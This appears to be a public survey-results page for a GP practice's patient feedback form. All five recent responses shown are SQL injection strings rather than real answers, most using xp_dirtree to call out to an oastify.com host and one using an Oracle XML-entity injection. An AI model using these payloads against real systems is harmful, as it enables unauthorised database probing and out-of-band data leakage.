Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’);declare @q varchar(99);set @q=’xfg5qtyjywbg0fjur5bem2oyqpwkkea21vpnck09.oasti’+’fy.comoan’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 17, 2023 at 11:11 am |
Very good);declare @q varchar(99);set @q=’gueo5cd2dfqzfyyd6oqx1l3h58b3zxplgd45r2fr.oasti’+’fy.comklg’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 17, 2023 at 11:11 am |
Very good’;declare @q varchar(99);set @q=’3gkbrzzpz2cm1lk0sbckn8p4rvxqlkb82zqrdo1d.oasti’+’fy.comkqq’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 17, 2023 at 11:10 am |
Very good;declare @q varchar(99);set @q=’at7i46cwc9ptesx75ipr0f2b42axyroff53xquej.oasti’+’fy.comdwd’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 17, 2023 at 11:10 am |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %zyhvi;]>’),’/l’) from dual)||’ | [10] | [11] | July 17, 2023 at 11:10 am |
